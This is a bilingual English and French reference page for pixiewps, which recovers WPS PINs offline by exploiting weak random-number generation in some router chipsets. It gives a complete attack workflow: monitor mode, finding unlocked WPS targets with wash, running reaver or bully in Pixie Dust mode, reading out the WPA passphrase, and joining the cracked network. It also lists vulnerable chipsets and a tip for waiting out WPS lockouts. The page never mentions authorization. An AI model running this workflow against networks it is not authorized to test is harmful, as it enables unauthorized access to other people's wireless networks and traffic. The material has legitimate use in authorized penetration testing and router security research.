pixiewps
Outil d'attaque WPS Pixie Dust hors ligne. Exploite une génération de nombres pseudo-aléatoires faible dans certaines implémentations WPS pour récupérer le PIN WPS hors ligne en quelques secondes. Offline WPS Pixie Dust attack tool. Exploits weak pseudo-random number generation in some WPS implementations to recover the WPS PIN offline in seconds.
↗ https://github.com/wiire-a/pixiewpsOverview
pixiewps performs the Pixie Dust attack — an offline WPS PIN recovery technique. Some WPS implementations use predictable random number generation when creating the E-S1 and E-S2 nonces during WPS exchange. pixiewps can compute the correct WPS PIN offline from these captured values, often in seconds.
How the Attack Works
Normal WPS PIN brute-force: 11,000 attempts × ~1 second each = ~3 hours
Pixie Dust attack:
1. Capture WPS handshake (E-Hash1, E-Hash2, E-S1, E-S2, PSK1, PSK2)
2. Exploit weak PRNG to compute E-S1 and E-S2 offline
3. Recover PIN in seconds (instead of hours)
Works against:
- Ralink chipsets
- Broadcom chipsets (some)
- Realtek chipsets
- MediaTek chipsets
Does NOT work against:
- Qualcomm/Atheros (generally good PRNG)
- Well-implemented WPS stacks
Usage with Reaver (Most Common Workflow)
# pixiewps is usually called automatically by Reaver or Bully
# --pixie-dust flag triggers Pixie Dust attack:
reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -c 6 -vvv -K 1
→ -K 1 = Pixie Dust mode (calls pixiewps internally)
Or with bully:
bully wlan0mon -b AA:BB:CC:DD:EE:FF -e "SSID" -d
→ -d = Pixie Dust mode
Standalone pixiewps
If you have the WPS handshake values:
pixiewps \
-e <E-Hash1> \
-r <E-Hash2> \
-s <E-S1> \
-z <E-S2> \
-a <AuthKey> \
-n <PKR>
Example with known values:
pixiewps -e abc123... -r def456... -s ghi789... -z jkl012... -a mno345... -n pqr678...
Capturing WPS Values
Use wash to find WPS-enabled APs
wash -i wlan0mon
Use Reaver to capture WPS exchange -K 1 passes values to pixiewps automatically
reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -c 6 -vvv -K 1
# Output shows:
# [Pixie-Dust] E-Hash1: ...
# [Pixie-Dust] E-Hash2: ...
# [Pixie-Dust] WPS pin: 12345670
# [+] WPA PSK: 'MyWifiPassword'
Full Workflow
# Step 1: Enable monitor mode
airmon-ng check kill
airmon-ng start wlan0
Step 2: Find WPS targets
wash -i wlan0mon
→ Look for Lck=No (WPS not locked)
Step 3: Pixie Dust attack with Reaver
reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -c 6 -vvv -K 1
# Step 4: If successful, get WPA passphrase
# [+] WPS PIN: '12345670'
# [+] WPA PSK: 'SuperSecretPassword'
# [+] AP SSID: 'HomeNetwork'
# Step 5: Connect to the network
wpa_passphrase "HomeNetwork" "SuperSecretPassword" > /etc/wpa_supplicant/conf
wpa_supplicant -B -i wlan0 -c /etc/wpa_supplicant/conf
Tips
- Pixie Dust is much faster than full PIN brute-force — always try it first
- Success rate varies by chipset — Ralink and Realtek tend to be most vulnerable
- If target has WPS locked (Lck=Yes), wait — many routers reset the lock after 5-10 minutes
- Use bully instead of reaver for some routers that reaver handles poorly
Help / Man page
pixiewps [options]
-e E-Hash1 E-Hash1 from WPS exchange
-r E-Hash2 E-Hash2 from WPS exchange
-s E-S1 E-S1 seed (may be zeros)
-z E-S2 E-S2 seed (may be zeros)
-a AuthKey Auth Key
-n PKR Registrar's Public Key
-m E-Nonce Enrollee nonce
-t TIMEOUT Timeout (seconds)
-v Verbose
-Z Use zero for S1/S2 (some implementations)
Vue d’ensemble
pixiewps réalise l’attaque Pixie Dust, une technique de récupération hors ligne du PIN WPS. Certaines implémentations WPS utilisent une génération de nombres aléatoires prévisible lors de la création des nonces E-S1 et E-S2 pendant l’échange WPS. pixiewps peut calculer le bon PIN WPS hors ligne à partir de ces valeurs capturées, souvent en quelques secondes.
Fonctionnement de l’attaque
Brute-force WPS PIN classique : 11 000 tentatives × ~1 seconde chacune = ~3 heures
Attaque Pixie Dust :
1. Capturer le handshake WPS (E-Hash1, E-Hash2, E-S1, E-S2, PSK1, PSK2)
2. Exploiter un PRNG faible pour calculer E-S1 et E-S2 hors ligne
3. Récupérer le PIN en quelques secondes (au lieu de plusieurs heures)
Fonctionne contre :
- Chipsets Ralink
- Chipsets Broadcom (certains)
- Chipsets Realtek
- Chipsets MediaTek
Ne fonctionne PAS contre :
- Qualcomm/Atheros (PRNG généralement de bonne qualité)
- Les stacks WPS bien implémentées
Utilisation avec Reaver (workflow le plus courant)
# pixiewps est généralement appelé automatiquement par Reaver ou Bully
# le flag --pixie-dust déclenche l'attaque Pixie Dust :
reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -c 6 -vvv -K 1
→ -K 1 = mode Pixie Dust (appelle pixiewps en interne)
Ou avec bully :
bully wlan0mon -b AA:BB:CC:DD:EE:FF -e "SSID" -d
→ -d = mode Pixie Dust
pixiewps en mode autonome
Si vous disposez des valeurs du handshake WPS :
pixiewps \
-e <E-Hash1> \
-r <E-Hash2> \
-s <E-S1> \
-z <E-S2> \
-a <AuthKey> \
-n <PKR>
Exemple avec des valeurs connues :
pixiewps -e abc123... -r def456... -s ghi789... -z jkl012... -a mno345... -n pqr678...
Capture des valeurs WPS
Utiliser wash pour trouver les AP avec WPS activé
wash -i wlan0mon
Utiliser Reaver pour capturer l’échange WPS : -K 1 transmet automatiquement les valeurs à pixiewps
reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -c 6 -vvv -K 1
# La sortie affiche :
# [Pixie-Dust] E-Hash1: ...
# [Pixie-Dust] E-Hash2: ...
# [Pixie-Dust] WPS pin: 12345670
# [+] WPA PSK: 'MyWifiPassword'
Workflow complet
# Étape 1 : activer le mode monitor
airmon-ng check kill
airmon-ng start wlan0
Étape 2 : trouver des cibles WPS
wash -i wlan0mon
→ Rechercher Lck=No (WPS non verrouillé)
Étape 3 : attaque Pixie Dust avec Reaver
reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -c 6 -vvv -K 1
# Étape 4 : en cas de succès, récupérer la passphrase WPA
# [+] WPS PIN: '12345670'
# [+] WPA PSK: 'SuperSecretPassword'
# [+] AP SSID: 'HomeNetwork'
# Étape 5 : se connecter au réseau
wpa_passphrase "HomeNetwork" "SuperSecretPassword" > /etc/wpa_supplicant/conf
wpa_supplicant -B -i wlan0 -c /etc/wpa_supplicant/conf
Conseils
- Pixie Dust est bien plus rapide qu’un brute-force complet du PIN : essayez-le toujours en premier
- Le taux de succès varie selon le chipset : Ralink et Realtek ont tendance à être les plus vulnérables
- Si la cible a le WPS verrouillé (Lck=Yes), patientez : de nombreux routeurs réinitialisent le verrou après 5 à 10 minutes
- Utilisez bully à la place de reaver pour certains routeurs que reaver gère mal
Aide / Page de manuel
pixiewps [options]
-e E-Hash1 E-Hash1 from WPS exchange
-r E-Hash2 E-Hash2 from WPS exchange
-s E-S1 E-S1 seed (may be zeros)
-z E-S2 E-S2 seed (may be zeros)
-a AuthKey Auth Key
-n PKR Registrar's Public Key
-m E-Nonce Enrollee nonce
-t TIMEOUT Timeout (seconds)
-v Verbose
-Z Use zero for S1/S2 (some implementations)